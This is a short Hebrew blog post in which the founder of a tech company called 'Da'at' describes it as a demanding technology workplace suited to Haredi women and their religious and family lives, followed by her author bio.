כאשר הקמתי את "דעת" עקבתי בדיוק אחר דרך זו. סביבת העבודה ב"דעת" נותנות בדיוק את המענה לסביבת עבודה נשית, המאפשרת ומכבדת את אמונתן ומנהגיהן של הנשים החרדיות, תוך התחשבות ברורה בצרכיהן כנשים דתיות וכאימהות. אך יחד עם זאת, זוהי סביבת עבודה טכנולוגית שאפתנית אשר איננה מתפשרת על איכות ודוחפת הלאה אל עבר האתגר הבא.

ואגב כך, דחפתי גם את "דעת" לאתגר הבא שלה. אך עליו אכתוב בע"ה בפעם הבאה.

פורסם על ידי נילי דוידוביץ ב-04:12

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post הדעה של דעת – בראשית appeared first on דעת.